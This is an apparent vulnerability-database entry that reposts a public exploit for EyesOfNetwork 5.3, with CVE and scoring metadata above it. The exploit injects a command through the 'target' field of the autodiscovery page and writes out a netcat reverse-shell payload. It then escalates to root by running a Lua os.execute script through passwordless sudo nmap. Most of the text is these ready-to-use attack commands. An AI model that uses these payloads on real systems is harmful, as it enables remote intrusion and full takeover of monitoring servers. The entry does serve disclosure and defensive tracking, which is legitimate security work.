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EyesOfNetwork 5.3 RCE & PrivEsc

CVE Category Price Severity
CVE-2021-32819 CWE-269 $5,000 Critical
Author Risk Exploitation Type Date
Louis Nyffenegger Critical Remote 2021-01-11
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010095

Below is a copy:

EyesOfNetwork 5.3 RCE & PrivEsc
# Exploit Title: EyesOfNetwork 5.3 - RCE & PrivEsc
# Date: 10/01/2021
# Exploit Author: Audencia Business SCHOOL Red Team
# Vendor Homepage: https://www.eyesofnetwork.com/en
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3

#Authentified Romote Code Execution flaw > remote shell > PrivEsc
#
#An user with acces to "/autodiscover.php" can execute remote commande, get a reverse shell and root the targeted machine.

==============================================
Initial RCE

In the webpage : https://EyesOfNetwork_IP/lilac/autodiscovery.php

The "target" input is not controled. It's possible tu put any commands after an "&", RCE is possible with a simple netcat commande like : 

& nc -e /bin/sh <IP> <PORT>
==============================================
PrivEsc

The EyesOfNetwork apache user can run "nmap" with sudo privilege and with NOPASSWD attribut, so it's possible to become the root user when using classic PrivEsc methode :
 
echo 'os.execute("/bin/sh")' > /tmp/nmap.script
sudo nmap --script=/tmp/nmap.script

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